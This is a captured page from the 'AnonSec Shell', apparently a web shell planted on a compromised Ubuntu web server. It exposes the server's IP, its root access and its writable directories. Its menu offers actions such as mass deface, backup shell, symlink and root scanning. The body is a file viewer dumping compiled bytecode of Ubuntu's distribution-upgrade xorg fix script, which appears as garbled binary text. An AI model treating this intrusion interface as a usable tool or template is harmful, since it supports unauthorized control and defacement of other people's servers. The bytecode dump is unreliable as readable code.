AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/DistUpgrade/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/DistUpgrade/__pycache__/xorg_fix_proprietary.cpython-310.pyc
o

>I�c��@s�ddlZddlZddlZddlZddlZdZefdd�Zefdd�Zedkr�e�	�dks5e
d�e�d	�d
ejd<ej
ejddd
�e�dejd�ej�e�s]e�d�e�d�ej�e�dkrte�d�e�e�e�d�ede�d�Ze�de�e�ee�dZzdd�ed�D�ZWney�e�d�e�d�YnweD]
Zedkr�dZnq�es�ee��"Zde��vr�e�de�ed�Wd�dSWd�dS1s�wYdSdSdS)�Nz/etc/X11/xorg.confc	Csdtj�|�st�d|�dSg}t|��?}|D]4}|�d�d��}|���	d�rG|�
d|�rGt�d|���d|}t�d	|���|�
|�qWd�n1sWwYt|��H}|��|kr�t�d
|||f�t|dd��}|�d
�|��Wd�n1s�wYt�|d|�Wd�dSWd�dS1s�wYdS)zf
    this removes old_driver driver from the xorg.conf and substitutes it with
    the new_driver
    �file %s not foundN�#r�driver�"%s"�line '%s' foundz
	Driver	"%s"
�replacing with '%s'zsaving new %s (%s -> %s)�	.xorg_fix�w���os�path�exists�logging�warning�open�split�strip�lower�
startswith�endswith�debug�rstrip�append�	readlines�info�write�join�rename)�
old_driver�
new_driver�xorg�content�	xorg_file�line�s�
xorg_fix_file�r'�B/usr/lib/python3/dist-packages/DistUpgrade/xorg_fix_proprietary.py�replace_driver_from_xorgs8
���
���"�r)c	Csbtj�|�st�d|�dSg}t|��?}|D]4}|�d�d��}|���	d�rG|�
d|�rGt�d|���d|}t�d	|���|�
|�qWd�n1sWwYt|��G}|��|kr�t�d
||f�t|dd��}|�d
�|��Wd�n1s�wYt�|d|�Wd�dSWd�dS1s�wYdS)z3
    this comments out a driver from xorg.conf
    rNrrrrrz#%srzsaving new %s (commenting %s)rr	r
r)rr!r"r#r$r%r&r'r'r(�comment_out_driver_from_xorg.s8
���
���"�r*�__main__zNeed to run as root�z/usr/bin/do-release-upgradez$/var/log/dist-upgrade/xorg_fixup.logr	)�level�filename�filemodez
%s runningzNo xorg.conf, exitingz xorg.conf is zero size, removingz.dist-upgrade-z
%Y%m%d%H%Mzcreating backup '%s'FcCsg|]}|��d�qS)r)r)�.0r$r'r'r(�
<listcomp>lsr1z
/proc/moduleszCan't read /proc/modules�nvidiaTzRemoving nvidia from %s)�sysrr�time�shutil�	XORG_CONFr)r*�__name__�getuid�print�exit�argv�basicConfig�DEBUGrr
r�getsize�remove�strftime�backupr�copyr2r�mods�IOError�m�xorg_conf_file�readr'r'r'r(�<module>sd

�





��

�"��*

Anon7 - 2022
AnonSec Team